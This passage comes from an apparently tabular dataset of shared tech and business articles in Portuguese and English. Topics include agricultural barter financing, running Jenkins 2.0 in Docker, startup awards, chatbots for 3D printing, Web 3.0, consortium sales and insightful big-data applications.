irrigação, não só pela garantia de safra mas também pela redução de custo por saca"", argumenta Svicero. A New Holland faz barter desde a Agrishow 2015. Na época, a troca respondia a apenas 5% das vendas anuais da montadora. Na edição deste ano da feira, Alexandre Blasi, diretor comercial da NH para o Brasil, afirma que a demanda pelo escambo quadruplicou e deve atingir 10% das vendas totais do ano. O principal produto de troca é a soja , e também com a opção de café. ""A demanda tem aumentado esse ano, tanto soja como café. Antes era insipiente, mas tem ganhado a atenção dos produtores"". Ele afirma que a tendência era esperada devido ao movimento de transição normal quando há alta na taxa Selic e reduções no Moderfrota e outras linhas de financiamento. A Coopercitrus também oferece a seus associados a opção de troca, sendo grãos como soja e milho para compra de insumos e café para máquinas e implementos. Raul Dorti, superintendente de grãos da cooperativa afirma que a cada safra, o barter movimenta R$ 30 milhões. Pensando no cooperado, a associação busca divulgar em palestras os benefícios da operação financeira aos seus quase 24 mil inscritos. A modalidade ainda é pouco usada e Dorti acredita que a desinformação é um dos fatores. ""A volatividade da moeda e a escassez de crédito oficial para custeio dão espaço para o barter crescer. O produtor financia sem desembolsar um centavo. Isso é uma baita vantagem, com ele enxergando de imediato o quanto vai custar os insumos e, uma vez que travou o preço, consegue enxergar o ganho"", explica.",pt
1462990064,CONTENT SHARED,3643465492984939400,-8020832670974472349,-6001780208847019703,,,,HTML,https://blog.flowlog-stats.com/2016/05/05/production-ready-jenkins-2-0-in-two-steps-with-docker/,Production Ready Jenkins 2.0 in Two Steps with Docker,"This blog post will show you how to run production-ready Jenkins with 2 steps. We have been using this for over six months with great success! Just a note, you can only run this on a machine that has Docker installed on it. We are going to use the official image from Jenkins located here . The following scripts can also be found in this Github repository: First, we will create the init upstart script so that when the system boots, reboots, or if the container fails, it will restart this process just like any other server processes you run. Step 1 - Write the start configuration file Using your favorite text editor, open this file as a root user and edit /etc/init/jenkins.conf to add this content: description &amp;amp;amp;amp;amp;amp;quot;Starts the Jenkins Docker server&amp;amp;amp;amp;amp;amp;quot; start on filesystem or runlevel [2345] stop on shutdown script echo &amp;amp;amp;amp;amp;amp;quot;[`date`] Jenkin is starting&amp;amp;amp;amp;amp;amp;quot; &amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;gt; /var/log/jenkins.log exec docker stop jenkins | true exec docker rm jenkins | true exec docker run --name jenkins -p 80:8080 -p 50000:50000 -v /opt/jenkins_home:/var/jenkins_home jenkins:2.0-alpine end script pre-stop script docker stop jenkins echo &amp;amp;amp;amp;amp;amp;quot;[`date`] Jenkin is stopping&amp;amp;amp;amp;amp;amp;quot; &amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;gt; /var/log/jenkins.log end script respawn respawn limit 2 60 This code accomplishes several things: Starts this service when the system boots and shuts it down when the system goes down Logs the starting and stopping to the file /var/log/jenkins.log Maps the Jenkins port to port 80 on your server Outputs the Jenkins home directory to your local server path: /opt/jenkins_home Number 4 is the most important function. If you change files in a Docker container and it restarts, the files do not persist. By running this code, you map the files Jenkins writes to your local file system so that if the server reboots or Jenkins restarts, all of your settings and jobs will be safe. Plus, all you have to do is save the folder /opt/jenkins_home to backup Jenkins. Step 2 - Start it up This step is really easy. You simply have to start it up: service jenkins start You can now go to to configure Jenkins. Jenkins now has a setup process and requires a password. You can retrieve the password in the logs when it first starts up. You can also view and tail the logs of Jenkins in the Docker logs with this command: docker logs -ft jenkins You will see a section like this with the password 2016-05-05T17:25:49.011787978Z ************************************************************* 2016-05-05T17:25:49.011808021Z ************************************************************* 2016-05-05T17:25:49.011814273Z ************************************************************* 2016-05-05T17:25:49.011819429Z 2016-05-05T17:25:49.011824960Z Jenkins initial setup is required. An admin user has been created and a password generated. 2016-05-05T17:25:49.011834803Z Please use the following password to proceed to installation: 2016-05-05T17:25:49.011839910Z 2016-05-05T17:25:49.011845543Z e30bed7d3c104005aeadd45de3a60d37 2016-05-05T17:25:49.011850557Z 2016-05-05T17:25:49.011855603Z This may also be found at: /var/jenkins_home/secrets/initialAdminPassword 2016-05-05T17:25:49.011860984Z 2016-05-05T17:25:49.011865623Z ************************************************************* 2016-05-05T17:25:49.011871858Z ************************************************************* 2016-05-05T17:25:49.011877088Z ************************************************************* You can now walk through the initial setup. All of the install files and configuration file Jenkins is creating will be saved to /opt/jenkins_home We have found running Jenkins with Docker really easy. We don't even need to install Java on to the machine!",en
1462990348,CONTENT SHARED,7359386552064322134,3609194402293569455,6860770855173309282,,,,HTML,http://startupi.com.br/2016/05/e-os-vencedores-do-latam-founders-awards-2016-sao/,E os vencedores do Latam Founders Awards 2016 são... - Startupi,"O Startupi acompanhou ontem a terceira edição do "" Annual Awards Gala "", evento que premia os profissionais, líderes e influenciadores do mercado e pessoas que ajudam a transformar a tecnologia na América Latina. A premiação é organizada pela Latam Founders Network, uma rede exclusiva somente para associados CEOs, parceiros e fundadores interessados em investimentos e tecnologia da região. Nomes como Fernando Fascioli, presidente da McCann World Wide para América Latina e Caribe; Deborah Vieitas, CEO da AMCHAM Brasil; Mariano Gomide Faria, fundador e CEO da VTEX, e Osvaldo Barbosa de Oliveira, diretor do Linkedin para América Latina, marcaram presença no evento. Pamela Granoff, Fundadora do Latam Founders, conversou com o Startupi e contou que a premiação surgiu porque, embora existam outras premiações no mercado, muitas vezes são os próprios familiares ou a imprensa que determinam os vencedores. No Latam Awards, quem escolhe os vencedores são os próprios líderes e membros. Dentro das categorias, eles submetem seus indicados que merecem concorrer, e as empresas que recebem mais votos entram para o grupo dos finalistas, e então é aberta uma nova votação. Essa é a terceira edição do evento que só acontece no Brasil, mas traz pessoas de todos os lugares do mundo: EUA, Europa, México e todos os países da América do Sul. Segundo Pamela, ""Se você está fazendo negócios na América Latina, você precisa fazer algo no Brasil. Mesmo que os fundadores e os membros da Latam Founders não estejam sediados no Brasil, eles estão sempre vindo para cá"". Confira abaixo a lista dos vencedores: Melhor investidor: Redpoint e.Ventures Melhor B2C: Nubank Empresa de Impacto: Dr. Consulta Melhor Aceleradora: Aceleratech Empreendedor do ano: Bruno Pieronon, CEO da Zup Melhor Empresa Internacional: Uber O Prêmio Latam Founders já impulsionou os vencedores a realizarem grandes feitos tornando-se agentes de mudanças no mercado da tecnologia, passando por um rápido crescimento e recebendo investimentos significativos. No Latam Founders Award Gala de 2015, por exemplo, o Nubank ganhou o prêmio de ""Empresa Mais Inovadora"" e conseguiu US$ 30 milhões de série B em apenas três meses. Em janeiro, a empresa levantou outros US $ 52 milhões. ""Levamos a experiência do cliente muito a sério no Nubank. Não só temos uma equipe de engenheiros e desenvolvedores completamente focada em criar o melhor produto como também temos uma equipe de atendimento trabalhando 24 horas por dia para criar a melhor experiência possível para o consumidor"", afirma Edward Wible, cofundador e CTO do Nubank. A Aceleratech, recebeu o prêmio de ""Melhor Aceleradora"" por 3 anos consecutivos. Em resposta a este prêmio, Pedro Waengertner, fundador da aceleradora comentou, ""Em 2015 vendemos 5 empresas! O tempo médio para concretizar uma aquisição é de 5 a 10 anos, então para nós, concretizar 5 aquisições em menos de 4 anos de operação foi um grande resultado"". O evento realmente aproxima as pessoas e é uma grande oportunidade para investidores, startups e CEOs se conhecerem, trocarem experiências e fecharem negócios. Para o próximo ano, Pamela afirma que podemos esperar mais conexões de alto nível.",pt
1462990421,CONTENT SHARED,1019706997674210703,3609194402293569455,6860770855173309282,,,,HTML,http://www.diolinux.com.br/2016/05/linus-torvalds-ted-talks-legendado-pt-br.html,Assista a entrevista de Linus Torvalds no TED legendada,"A tradução do texto foi feito pelo membro da nossa equipe, Gabriel da Costa, e postada em seu canal pessoal, o . A tradução também teve uma revisão por parte do canal Flávio Dicas , confira agora este interessante conteúdo. * Para ativar as legendas clique no ícone que faz referência a elas na parte inferior do player. O que você achou da entrevista de Torvalds? _____________________________________________________________________________ Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.",pt
1462990655,CONTENT SHARED,-8278633353687754322,3609194402293569455,6860770855173309282,,,,HTML,http://techcrunch.com/2016/05/10/3dprintler-lets-you-order-a-3d-print-via-chatbot/,3Dprintler lets you order a 3D print via chatbot,"If you want to 3D print something who do you call? Step forward 3Dprintler , a startup that has made a search engine for locating 3D printing services in your area. The team was chosen as the wildcard company from Startup Alley to present on stage in the 2016 battlefield here at TechCrunch Disrupt New York. 3Dprintler's search engine , which launched last year, lets users upload a 3D file for printing, select the materials they want their file to be printed in, and get a list of quotes to compare. They can then order the print directly, with 3Dprintler monetizing by taking a cut of any sales its search engine generates. But - and here's the topical twist - the team has also created an integrated chatbot for accessing their platform that's aimed at simplifying the process by providing a concierge service for ordering 3D prints. Their 3D print quote bot currently supports messaging platforms including Facebook Messenger, WhatsApp, Slack, Telegram, Kik and Skype. While early messaging platform chatbots can seem spammy and/or time wasting , 3Dprintler's chatbot feels like a far more practical application of this sort of tech, given that 3D printing can be a time-consuming and frustrating process. So a bot being there to walk you through the different steps seems like it's going to provide some useful reassurance. The bot, which launched about a month ago, has already generated an uptick in orders, according to 3Dprintler co-founder Michael Golubev. ""We've seen over one hundred order already just in that period of time, which is I think like 56 per cent more conversion rate than we see from using the website. So we see that people actually enjoy using the bots way more, somehow it's more natural than using the website,"" he tells TechCrunch. ""Almost it becomes outdated to use a website."" The team is running a pilot of their quote bot with a few companies, with the ultimate aim of creating what they dub a 'factory as a service' platform - aka a software as a service style business model with the sales pitch to businesses being that a search and order bot for 3D printing simplifies the order process to the point where it's easier for businesses to pay to use a bot, rather than own a 3D printer themselves (and need to train staff how to use it). ""We're more focused on prosumer users, so somebody who wants a professional service done,"" says Golubev. ""The consumer market is just not there yet, once we're able to scan things it will be but for now it's the Fortune 500 companies that hold the biggest potential for the growth. ""From talking to those companies the biggest pain that they have, they all have the same thing: they get the expensive printers because they hear about the hype, they invest $300,000 in the machine and then it just sits there idling because there has to be a special person trained to use it."" 3Dprintler processes the 3D files uploaded by users to get them ready for printing and can also fix problems with files. It sees the latter as another potential revenue stream down the line - talking up the potential for a future market powered by consumers scanning objects with their smartphone cameras and then chatting via messaging app to 3Dprintler's bot to order their 3D prints. ""Chatbots is the solution we were looking for because we get access to millions of people, and... we're betting that eventually every phone will have a 3D scanner built in it. It will be super easy to use... and once we have all those millions of people using it, adoption rate is going to skyrocket and you're going to have all those billions of files that people want to create - 3D selfie, for example, is going to be a new craze."" The startup has been working in the 3D print up space since 2013, initially minting money by selling drone parts for DJI phantom drones before too many copycat sellers flooded the market. They also made a customizer tool for 3D print files. And also previously set up an open source initiative for 3D printable hydroponics . In their search for a sustainable business model in the space they've now settled on simplifying access to 3D printing services as the core problem to fix here - having had to go through similar steps themselves, over the years. ""We realized not every has access to a 3D printer,"" says Golubev. ""That's how the 3Dprintler search engine was born. How do we tap into all the 3D printing services out there and allow a person to find the best price, based by location, based by quality, based by material?"" As well as seeking to tap into large, engaged user bases on messaging platforms with a chatbot interface, Golubev says they are also talking to 3D marketplaces, such as Thingiverse , with the hope of integrating their search and order service into those larger platforms too. They do also have an API - launched back in January - to enable others, such as designers, to embed their search engine elsewhere. ""Everybody can tap into this API. Let's say you're a designer... and you have some files you want to sell - put our button on your website and this button will allow whoever is visiting your website to find the best printer, the best price. You as the designer get a cut, we get a cut, so we kind of split the revenue with you,"" he notes. At this point 3Dprintler has some 20,000 3D print service providers globally in their database, and have done test prints to verify the quality of the providers they are listing. Their search engine supports more than 60 file formats for 3D printing. The team has also raised $750,000 in seed funding from an undisclosed European business angel.",en
1462991873,CONTENT SHARED,8402348887626635381,-315113304665694510,-7170575965220567933,,,,HTML,http://www.wired.com/insights/2014/09/e-commerce-to-web-3-0/,From E-Commerce to Web 3.0: Let the Bots Do the Shopping,"Back in 2007, even before the iPhone was launched, giving us a powerful computer in our pockets or handbags, I started outlining a vision for Web 3.0. Tim Berners-Lee, a father of the World Wide Web, talks about the ""Semantic Web,"" a way that computers employ the meaning of words - not just pattern matching - along with logical rules to connect independent nuggets of data and so create more context for information. The formula that makes the most sense to me is this: Web 3.0 results from combining content, commerce, community and context, with personalization and vertical search. Or, to put it in a handy phrase: Web 3.0 = (4C + P + VS). Web 1.0 was all about driving online commerce and trying to find ""anything"" in the tangled jungle of the Web. It produced companies like Yahoo, Amazon.com, eBay, Netflix and Blue Nile. The rush for dollars also resulted in the dot-com meltdown. Even so, people's habits of searching, buying and selling genuinely changed. Today, you will find hundreds of thousands of merchants selling everything from cable organizers, window blinds, clothes, water filters, and everything else under the sun through specialized online stores. Specialty retail, in other words, has made a decisive transition to the web. Web 2.0 has been primarily focused on social networking through online communities. Facebook, Twitter and LinkedIn, have been the most notable companies to emerge. But there are a plethora of others where you can ""meet,"" ""connect"" and ""make friends"" online these days - habits no longer considered weird. At the same time, we've seen a great deal of investment in vertical search companies. If you are looking for a job, you can go to a site like Indeed.com and search across various job portals and career sites. Or go to Kayak if you've got travel questions, or TheFind if you're seeking shopping advice. In each case, the sites have carefully customized search parameters (job seekers, for instance, can search on salary ranges, locations, job levels and so on). Therein lies the big difference with Google, a generic horizontal search engine. Finally, Web 2.0 has brought an onslaught of user-generated content in the form of blogs, podcasts, appending comments at the bottom of articles, posting reviews of restaurants, movies, stores, and hotels. Media has become truly interactive, as opposed to the one-way world we were used to. Many more voices are being raised, and heard. The media industry, as we have known it, has been shaken to its roots. The next wave - Web 3.0 - will organize itself around two different elements: context and the user.By ""context,"" I mean the intent that brings you to the Web, your reason for surfing. Looking for a job is ""context,"" as is planning a trip or shopping for clothes. Fundamental to context is the user. And when you fuse a specific user with genuine context, you wind up with truly personalized service. Imagine this: You are planning a trip to Rome. You are looking for a hotel around Piazza di Spagna, but not something large and impersonal - which rules out the Hassler Villa Medici. You like smaller bed-and-breakfasts, with charm, warmth, character. You want an online travel agent who can understand your needs and preferences, and find you not only the right hotel but really interesting restaurants, boutiques and shows all aligned with your taste. Normally, you use Guide du Routard as your travel guide, but today there is still a gulf between travel guides and online travel-booking sites - in other words, content and commerce are fragmented. In Web 3.0, you will see content and commerce finally come together in a big way, no longer forcing you to hop from site to site to get one job done. On this same trip, you would love to meet local people who share your interests - say, cooking, jazz, opera. In Web 3.0, you will see the community elements of Web 2.0 pulled into context, making it as easy to find new friends with common interests, even in a distant city, as it is to book a hotel room. Some user-generated content is already evolving into an integral part of travel planning today. At TripAdviser, for instance, travelers report back on their experiences at hotels around the world. The missing element, however, is the notion of the individual user and his or her personal needs. You don't want to read reviews from anyone. You want to read reviews by people whose taste and judgment you trust. In a Web 3.0 world, then, a personalized travel agent will help you find and book a highly customized itinerary, leveraging all the power of previous generations of Web technology -searching (both generic and vertical), community building, content and commerce. That's how I get Web 3.0 = (4C+P+VS) - the sum of content, commerce, community and context, with personalization and vertical search. This is complex technology, requiring sophisticated artificial-intelligence algorithms. After all, your Web 3.0 travel agent will not be a ""person"" but a ""bot"", or intelligent agent. But I suspect you will like your travel bot. And your career bot. And your shopping bot. Let's look at a shopping bot, in fact. I am a petite woman, dark-skinned, dark-haired, brown-eyed. I have a distinct personal style, and only certain designers resonate with it (Context). I want my personal SAKS Fifth Avenue which carries clothes by those designers, in my size (Commerce). I want my personal Vogue, which covers articles about that style, those designers, and other emerging ones like them (Content). And I want to exchange notes with others of my size-shape-style-psychographic and discover what else looks good. I also want the recommendation system tell me what they're buying (Community). There are also some basic principles of what looks good based on skin tone, body shape, hair color, eye color ... I want the search engine to be able to filter and match based on an algorithm that builds in this knowledge base (Personalization, Vertical Search). Now, imagine the same for a short, plump, white, red-haired man, who doesn't really have a sense of what to wear. And he doesn't have a wife or a girlfriend. Before Web 3.0, he could go to the personal shopper at Nordstrom. With Web 3.0, the Internet will be his personal shopper. Aided with ubiquitous, mobile presence, these digital shoppers will anticipate all his needs, all of each of our needs. So be patient with the technology entrepreneurs around the world, who are working through these generations of the evolving Web, trying to bring about a dramatically better user experience. After all, they - and their bots - are working for you. Sramana Mitra is the founder of One Million by One Million (1M/1M), a global virtual incubator. This post was excerpted from her new book, From E-Commerce to Web 3.0: Entrepreneur Journeys .",en
1462995271,CONTENT SHARED,5439554346835640135,1120069409160402054,4644069492341527878,,,,HTML,http://www.autossegredos.com.br/2016/05/11/consorcio-venda-de-novas-cotas-cai-135-no-1o-trimestre/,"Consórcio: Venda de novas cotas cai 13,5% no 1º trimestre","Marli Moreira Da Agência Brasil A comercialização de novas cotas de consórcios, incluindo os contratos para aquisições de imóveis, veículos e serviços de imóveis, caiu 13,5%, no primeiro trimestre deste ano sobre igual período do ano passado, segundo balanço divulgado hoje (11) pela Associação Brasileira de Administradoras de Consórcios (Abac). Foram negociadas no período, 508,6 mil novas cotas ante 588 mil entre janeiro e março de 2015. Os dados, no entanto, mostram que em março ocorreu estabilidade na base de participantes com um total de 7,11 milhões de consorciados ante 7,09 milhões em março do ano passado. O volume de créditos comercializados, no acumulado do ano até março, alcançou R$ 16,94 bilhões, valor 18,2% inferior ao registrado no primeiro trimestre de 2015. Já o total de créditos disponibilizados aumentou 3,2% alcançando R$ 10,52 bilhões. No setor de veículos leves (automóveis, caminhonetas e utilitários), as vendas de novas cotas caíram 8,6%, mas houve crescimento de 6,3% na base de participantes que soma 3,22 milhões de consorciados. O total de créditos disponibilizados aumentou 8,6% atingindo R$ 5,56 bilhões. No segmento de veículos pesados (caminhões, ônibus, semirreboques, tratores e implementos) as vendas de novas cotas caíram 16,8%. Também houve retração de 5,6% na comercialização de novas cotas no setor de imóveis. No entanto, as contemplações foram 7,5% maiores do que no primeiro trimestre do ano passado e volume de crédito disponibilizado cresceu 8,1%, somando R$ 1,87 bilhão. Já em serviços, a comercialização aumentou 38,6% com valor médio negociado de R$ 6,5 mil, 10,2%. O presidente executivo da Abac, Paulo Roberto Rossi, afirmou por meio de nota, que ocorreram retrações em vários segmentos por causa da falta de confiança e incertezas geradas pelo atual momento político e econômico. ""Essas incertezas têm provocado adiamento de negócios, com a consequente redução de vendas"", afirmou. Arte | Autos Segredos Tags: consorcio , consórcio automotivo , Da Agência Brasil , Mercado , vendas de automóveis",pt
1463000941,CONTENT SHARED,-6255454949363031923,-1443636648652872475,1042623887799704844,,,,HTML,https://www.oreilly.com/ideas/from-insight-as-a-service-to-insightful-applications?imm_mid=0e3906&cmp=em-data-na-na-newsltr_20160511,From Insight-as-a-Service to insightful applications,"ABC Museo Madrid. (source: Paul Thompson on Flickr ). Editor's note: This is the third in a three-part series of blog posts by Evangelos Simoudis covering insightful applications (see part one and part two ). From an investor's perspective, Evangelos will discuss the changing landscape of data analytics and big data applications, the rise of insightful applications, and key areas in big data that are attracting most VC interest. We started this series with the premise that insightful applications , essentially the next-generation of big data applications, are the key to effectively addressing important problems, such as autonomous driving. In the first post , we examined how data analytics has evolved over the past 25 years. In the second post , we established how the early success with big data infrastructures has given rise to applications, and we defined a taxonomy of such applications. In this third post, we will discuss insightful applications in more detail and conclude by outlining the future for such applications, along with the sector's investment potential. Insight generation leads to insightful applications A discussion on insightful applications must begin by first defining what is an insight . An insight is a novel, interesting, plausible, and understandable relation, or set of associated relations, that is selected from a larger set of relations derived from a data set. The selected relation, or relations, must lead to the formation of an action plan. This action plan, when applied, results in a change that can be measured through a set of Key Performance Indicators (KPIs). The ability to measure KPIs enables such systems to learn and improve over time. Insights and their associated action plans are generated by complex systems, which were described in an earlier post . Insightful applications combine big data management with an insight generation system, which incorporates a variety of machine intelligence techniques, (e.g., machine learning, planning and reasoning, natural language processing, vision, and other AI techniques) and appropriate domain knowledge for those techniques to operate effectively. These applications must not only be able to generate an action plan from insights, but they must be able to approximate the necessary resources (e.g., time, money) that will be consumed in the process of executing that plan. A good example of an insightful application is found in autonomous cars, such as Google's self-driving car . In order for an autonomous car to function properly, its software must be able to deal with very large volumes of diverse data that are generated in real time from sensors like lidar ; make a variety of predictions using numerous sophisticated models; select the most interesting and plausible of these predictions (e.g., within 50 yards, a bicyclist riding ahead of the car will likely enter the car's lane); and generate an action plan based on these insights (e.g., slow the car by applying the brakes) while constantly evaluating the results of these actions (e.g., make sure the car does not hit the bicyclist). Based on the data that is collected from this incident and the evaluation of the plan that was executed, there is an opportunity for the insightful application to learn. Insight-as-a-Service: A precursor to insightful applications Because of their complexity, insight generation systems-and therefore insightful applications-have been hard and expensive to develop, and few insightful applications have been introduced to date. At best, corporations have been utilizing what we have termed "" Insight-as-a-Service ."" As shown in Figure 1, insights and their associated action plans are generated periodically as part of a service offered by specialized personnel, called ""connectors,"" in collaboration with data scientists. Figure 1. Insight-as-a-Service process. Figure courtesy of Evangelos Simoudis. At a high level, a connector works with the business user to understand the problem to which insights and actions will be applied. In addition to defining the business problem, the connector gains an understanding of the data that is available and can be used to address the problem. The business problem definition combined with the data description is then ""translated"" to a data problem, which can be addressed by data scientists. Data scientists, with the help of data stewards, work on the available data to extract patterns and other relations. The connector evaluates the extracted patterns and relations to identify those that constitute insights. The connector then proceeds to associate one or more appropriate action plans with each identified insight, and presents the resulting pairs to the business user. After applying the prescribed actions, the business user communicates to the connector the results of these actions, along with the effectiveness of the actions to address the problem being solved (as determined through the use of a previously defined set of KPIs). Because of their role in providing Insight-as-a-Service, connectors must have strong knowledge of the processes, technologies, and issues in the industries they work. They must be able to ""translate"" business problems into data problems, and effectively communicate this translation to the data scientists. Lastly, connectors must be able to fuse the relations extracted by the data scientists and their own domain knowledge to generate insights and action plans, which will be communicated to business users. Today, Insight-as-a-Service is offered primarily by management consulting firms like IBM, PwC, McKinsey, and Accenture. Because of the skills required and the critical role they play in the insight generation process, connectors tend to be some of the most expensive resources a management consulting firm employs. There are too few such individuals in management consulting firms today. This means that too few corporations are generating insights from their data, focusing instead on areas with potential for a high return on investment (ROI) such as cybersecurity, supply chain optimization, and marketing budget optimization. An abbreviated example of Insight-as-a-Service Consider the process a cable company might go through in order to optimize its marketing budget as it tries to determine what percent of its budget to allocate toward reducing customer churn. The marketing department must create a set of actions that are within the limits of the marketing budget. Using his specialized knowledge, the connector must understand the nature of the churn problem and the data that is available to address this problem. He may determine that, as a first step, the company's subscribers should be scored in terms of their probability to abandon their service, and maybe even their probability to upgrade to a higher level of service. He must then present this as a scoring problem to the data scientist, along with the available data. The data scientist can then proceed to develop the appropriate scoring model(s). Once the models are developed and the scores have been established, the connector uses his domain knowledge to do the following: Organize the scored customers into segments. Select the segments of at-risk customers that are worth paying attention to (this is the insight ). For example, at-risk customers may be the segment of heavy cable Internet users that spend 10-20% of their time watching cable programming. Establishes the actions to take and the percentage of the marketing budget to allocate to each selected segment. For example, offer the at-risk segment a free premium channel upgrade for a period of six months. The cost of this action to the cable company may be $100/customer, but the Lifetime Value (LTV) of each salvaged customer may be $1,000, and the expected target response to the offer may be 30%. There is increasing interest in developing, and funding, insightful applications. We're seeing this increased interest because we have a greater understanding about what is involved in providing Insight-as-a-Service and the strong ROI that such solutions already provide. We're also aware of the early successes with other types of big data applications, as described in the second post of this series , and the ever-increasing availability of big data. Finally, we acknowledge recent advances in the technologies that are used by insight generation systems and, more importantly, the strong demand for more automated, accurate, and faster decision-making. Areas where we are seeing great opportunity for insightful applications, as well as entrants starting to offer such applications, include: Cybersecurity in the area of threat intelligence. Online marketing in the area of multichannel programmatic advertising. Automotive in the area of autonomous driving. Health care in the area of personalized medicine. Financial services in the area of wealth advisory services. Manufacturing and logistics (across several industries such as retail and consumer packaged goods) in the area of dark warehouses and fully robotic assembly lines. For example, Foxconn is adding 30,000 robots per year in its assembly lines. Customer experience (across several industries such as retail, financial services, travel, and health care) in the area of automated customer support. Various industries such as manufacturing, agriculture, and oil exploration, as well as production in areas where IoT data can be used for applications like machine diagnosis, crop yield optimization, oil field optimization, and others. These areas share the following common characteristics, which make them particularly relevant as insightful applications: Not enough professionals to provide remedies to problems (e.g., security). Need for quick response in the execution of actions (e.g., autonomous cars, security, online marketing). Big data at a scale that makes it impractical or even impossible to sift through for the right insights, but where more data improves the opportunity to identify better insights (e.g., health care, security, marketing). Need to provide higher quality service that is consistent across all channels at a lower cost (e.g., financial services, manufacturing, logistics). In general, my thesis is that through insightful applications and a fixed amount of accuracy, we can use lower-cost resources, including less computation, because of the availability of more data. An interesting early example of an insightful application is IBM's Watson Oncology Assistant , which IBM is developing in collaboration with various medical centers such as the MD Anderson Cancer Center and the Memorial Sloan Kettering Cancer Center. This insightful application optimizes the decision-making process that determines which patient therapy to recommend based on a) patient genetic data that is generated from DNA sequencing, b) MRI data, c) other documents describing the patient's health history, and d) scientific publications. For example, while DNA sequencing enables us to identify mutations linked to cancers, the data that is generated in the process is voluminous. Many physicians cannot easily make use of all available data because of its volume and variety, and often because they may not be aware of publications describing relevant research results. The Watson Oncology Assistant will be able to address all these problems and make the appropriate therapy recommendations to the attending physician. Insightful applications and artificial intelligence To achieve their objectives, insightful applications combine big data management with artificial intelligence concepts and systems. In particular, insightful applications include: Flexible data management systems that store the big data on which they operate and learn from. Rich knowledge representation capabilities in order to encode domain knowledge as well as learned knowledge. Reasoning capabilities through which they reason over the represented knowledge. Machine learning, including deep learning, systems to automatically extract patterns and relations. Planning systems that can synthesize sets of related actions to generate an outcome that is associated with an insight. The complexity and cost of developing insightful applications has been decreasing significantly and this trend is expected to continue for the foreseeable future. This is because artificial intelligence systems having become more readily available and better understood, particularly with the release of open source packages from Google , Facebook , Microsoft , and other companies. Additionally, cheaper storage, abundant and cheap processing power and networking bandwidth, and cloud-enabled separation of storage and computing have helped drive the development of insightful applications. Despite our improving understanding of insight generation, the technology advances we have made, and the growing number of insightful applications currently under development, we are not completely out of the woods. There are four major areas in particular where we need to make progress: Domain knowledge acquisition, representation, enhancement, and maintenance-the so-called ""ontology development""-remains a big issue, particularly from data sources such as image, video, and also spoken language. For example, IBM is facing this issue as it continues to develop the Watson Oncology Assistant. It has tried to address it in a variety of ways, including the acquisition of other companies. Corporations such as Google, Apple, Facebook, Amazon, Microsoft, and others are aggressively acquiring startups with the right know-how and IP in this area. Sensor technology (e.g., size, energy usage, local processing, amount and type of sensing each sensor can accomplish) is important for data acquisition in many of areas, such as autonomous driving and health care. For example, see the recent acquisition of Cruise Technologies by GM , which was driven by the development of lower cost sensors and corresponding algorithms that enable the conversion of existing cars into self-driving vehicles. Extracting valuable relations and associated actions in hyper-dimensional domains (e.g., areas where each event may be characterized by millions of features, such as cancer or the many situations an autonomous vehicle has to address) remains difficult. Deep learning approaches may prove particularly useful in this area, but we are still in the very early stages of applying these approaches to large, real-world problems. Self-learning systems that are able to automatically improve their performance based on previously established KPIs without relying on data scientists are still in their infancy. Venture investment in insightful applications For the reasons we have previously described, while insightful applications present an exciting investment opportunity, they are complex and difficult to develop. As a result, we don't foresee the development of such applications leading to the complete elimination of connectors and data scientists. In the second post of this series, we noted that over the past few years, venture investors have been investing in three types of big data applications: shallow applications that use general-purpose analytic tools, applications that process big data but that do not use predictive or prescriptive analytics, and applications that use embedded predictive analytics. More recently, as they have recognized the importance and economic value of successful insightful applications, a few venture investors are starting to invest in startups that develop insightful applications. Because I have come to recognize how critical it will be for corporations to utilize big data through insightful applications in their effort to innovate, particularly using my startup-driven innovation methodology , I am focusing my new venture fund on startups that develop such applications. We anticipate that insightful applications will be developed over a few different generations with the ultimate goal of the application completing 70% of the process and humans-including data scientists, connectors, and business users-completing the remaining 30%. Today's first generation insightful applications are able to assist connectors and data scientists. The next generation's applications will be better able to understand situations automatically. IBM, for example, is in the process of equipping Watson with sophisticated natural language processing technologies that can automatically understand and encode domain knowledge from a variety of sources, such as journal articles as well as spoken problem descriptions. The generation after that will be able to make decisions more autonomously, matching libraries of insights and action plans to descriptions of new problems. The final generation of insightful applications will be able to discover new insights and action plans on their own, with limited guidance from expert users. Conclusion Insightful applications are the key to effectively providing big data-driven solutions to many important problems while simultaneously controlling the costs of such solutions and dealing with the shortage of the necessary specialized personnel. Because of their complexity, the development of such applications will be neither simple nor quick. Patience will be necessary, as we anticipate that the promise of insightful applications will be realized in several generations of increasingly sophisticated and increasingly automated applications. Recognizing the opportunity afforded by such applications, a few corporations and venture investors have started aggressively investing in their development-the initial results are already impressive and fill us with excitement about what will be possible in the near future. Related resource:",en
1463002557,CONTENT SHARED,-1820269894165785259,3609194402293569455,6860770855173309282,,,,HTML,https://endeavor.org.br/3m-funcionarios-empreendedores/,3M e o perfil intraempreendedor | Endeavor Brasil,"Todo empreendedor sonha em ter um time com brilho nos olhos e vontade de inovar. Esse tipo de perfil é chamado intraempreendedor, descubra o que faz com que isso aconteça. O sonho de toda empresa é contar com funcionários que se comportem como verdadeiros donos do negócio. Gente que salta da cama motivada, identificada com seu trabalho e entusiasmada por aprender coisas novas, colher resultados de uma boa execução e fazer diferença na vida da organização e de seus clientes. Essas pessoas se comprometem sem limitações, obstinadas em solucionar problemas e gerar valor , colaborando com diversos grupos e inspiradas a trazer ideias e contribuições para o sucesso da empresa e da sua equipe. Esse colaborador não é assim um fenômeno tão raro. É o que chamamos de intraempreendedor . Aquele que tem a energia, o senso de propósito, a inquietude e a diretriz para a execução de um empreendedor, mas que não necessariamente deseja montar o seu próprio negócio. Realiza-se por empreender dentro da uma organização existente, motivando-se continuamente por desafios e projetos ambiciosos de transformação. O fator determinante para que uma empresa se torne inovadora é a construção de uma cultura organizacional que transforme funcionários em intraempreendedores. Pena que não seja assim tão simples como distribuir uma pílula de superpoderes ou convocar as equipes para um único workshop de habilidades comportamentais. Entretanto, 3M, Google, W.L. Gore, Intel e Lockheed Martin são alguns exemplos de corporações que aceleram seu crescimento ao fomentar o intraempreendedorismo. A cultura de inovação é moldada diariamente pelo que pregam as lideranças, mas, acima de tudo, como agem na prática. Coerência entre vida real e discurso é como o fermento que faz o bolo crescer. A cultura deve estabelecer um ambiente de liberdade de ideias, onde ninguém tem receio de expor opiniões. Leia também: Ebook sobre liderança inspiradora A diversidade de formação, pensamento e background é condição obrigatória para possibilitar ideias mais ricas, completas e disruptivas. O espírito de colaboração entre as pessoas é a 